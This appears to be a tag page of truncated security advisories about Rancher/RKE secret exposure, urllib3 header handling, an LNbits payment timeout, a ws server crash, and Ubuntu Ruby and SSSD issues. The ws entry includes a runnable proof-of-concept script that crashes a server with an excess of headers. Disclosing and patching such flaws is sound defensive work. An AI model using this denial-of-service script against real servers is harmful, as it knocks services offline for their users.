#vulnerability

With the requirement that all vulnerabilities first get reported to the Chinese government, once-private vulnerability research has become a goldmine for China's offensive cybersecurity programs.

### Impact This issue is only relevant to clusters provisioned using RKE1 with secrets encryption configuration enabled. A vulnerability has been identified in which an RKE1 cluster keeps constantly reconciling when secrets encryption configuration is enabled (please see the [RKE documentation](https://rke.docs.rancher.com/config-options/secrets-encryption)). When reconciling, the Kube API secret values are written in plaintext on the AppliedSpec. Cluster owners, Cluster members, and Project members (for projects within the cluster), all have RBAC permissions to view the cluster object from the apiserver. This could lead to an unauthorized user gaining access to the entire secrets encryption config specific for the cluster, only on the applied spec. Since this affects only custom encryption configurations, users need to manually rotate the keys by editing the cluster. For more information, please refer to the [RKE secrets encryption documentation](https://rke.docs.rancher.com/config...

### Impact A vulnerability has been identified whereby privilege escalation checks are not properly enforced for `RoleTemplate`objects when external=true, which in specific scenarios can lead to privilege escalation. The bug in the webhook rule resolver ignores rules from a `ClusterRole` for external `RoleTemplates` when its context is set to either `project` or is left empty. The fix introduces a new field to the `RoleTemplate` CRD named `ExternalRules`. The new field will be used to resolve rules directly from the `RoleTemplate`. Additionally, rules from the backing `ClusterRole` will be used if `ExternalRules` is not provided. The new field will always take precedence when it is set, and serve as the source of truth for rules used when creating Rancher resources on the local cluster. Please note that this is a breaking change for external `RoleTemplates`, when context is set to `project` or empty and the backing `ClusterRole` does not exist, as this was not previously required. *...

### Impact When RKE provisions a cluster, it stores the cluster state in a configmap called `full-cluster-state` inside the `kube-system` namespace of the cluster itself. This cluster state object contains information used to set up the K8s cluster, which may include the following sensitive data: - RancherKubernetesEngineConfig - RKENodeConfig - SSH username - SSH private key - SSH private key path - RKEConfigServices - ETCDService - External client key - BackupConfig - S3BackupConfig - AWS access key - AWS secret key - KubeAPIService - SecretsEncryptionConfig - K8s encryption configuration (contains encryption keys) - PrivateRegistries - User - Password - ECRCredentialPlugin - AWS access key - AWS secret key - AWS session token - CloudProvider - AzureCloudProvider - ...

### Impact A vulnerability has been identified in which Rancher does not automatically clean up a user which has been deleted from the configured authentication provider (AP). This characteristic also applies to disabled or revoked users, Rancher will not reflect these modifications which may leave the user’s tokens still usable. An AP must be enabled to be affected by this, as the built-in User Management feature is not affected by this vulnerability. This issue may lead to an adversary gaining unauthorized access, as the user’s access privileges may still be active within Rancher even though they are no longer valid on the configured AP (please consult the [MITRE ATT&CK - Technique - Valid Accounts](https://attack.mitre.org/techniques/T1078/) for further information about the associated technique of attack). It’s important to note that all configurable APs are impacted, see [Rancher Docs - Configuring Authentication - External vs. Local Authentication](https://ranchermanager.docs....

When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected. However, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects. Because this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident. Users should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-...

### Summary Paying invoices in Eclair that do not get settled within the internal timeout (about 30s) lead to a payment being considered failed, even though it may still be in flight. ### Details Using `blocking: true` on the API call will lead to a timeout error if a payment does not get settled in the 30s timeout with the error: `Ask timed out on [Actor[akka://eclair-node/user/$l#134241942]] after [30000 ms]. Message of type [fr.acinq.eclair.payment.send.PaymentInitiator$SendPaymentToNode]. A typical reason for AskTimeoutException is that the recipient actor didn't send a reply.` https://github.com/lnbits/lnbits/blob/c04c13b2f8cfbb625571a07dfddeb65ea6df8dac/lnbits/wallets/eclair.py#L138 This is considered a payment failure by parts of the code, and assumes the payment is not going to be settled after: https://github.com/lnbits/lnbits/blob/c04c13b2f8cfbb625571a07dfddeb65ea6df8dac/lnbits/wallets/eclair.py#L144 https://github.com/lnbits/lnbits/blob/c04c13b2f8cfbb625571a07dfddeb65ea6...

### Impact A request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in ws@...

Ubuntu Security Notice 6838-1 - It was discovered that Ruby RDoc incorrectly parsed certain YAML files. If a user or automated system were tricked into parsing a specially crafted .rdoc_options file, a remote attacker could possibly use this issue to execute arbitrary code. It was discovered that the Ruby regex compiler incorrectly handled certain memory operations. A remote attacker could possibly use this issue to obtain sensitive memory contents.

Ubuntu Security Notice 6836-1 - It was discovered that SSSD did not always correctly apply the GPO policy for authenticated users, contrary to expectations. This could result in improper authorization or improper access to resources.